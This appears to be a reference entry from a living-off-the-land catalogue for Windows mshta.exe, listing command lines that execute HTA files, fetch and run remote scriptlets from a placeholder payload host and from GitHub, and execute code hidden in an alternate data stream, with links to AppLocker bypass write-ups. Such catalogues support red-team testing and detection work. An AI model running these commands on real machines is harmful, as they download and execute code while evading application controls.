- Functions: Execute, Read ADS
mshta.exe evilfile.hta
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
mshta "C:\ads\file.txt:file.hta"
Acknowledgements:
- Casey Smith - @subtee
- Oddvar Moe - @oddvarmoe
Code sample:
Resources:
- https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
- https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
- https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
Full path:
C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
Notes: SCT code borrowed from Red Canary - Atomic Red Team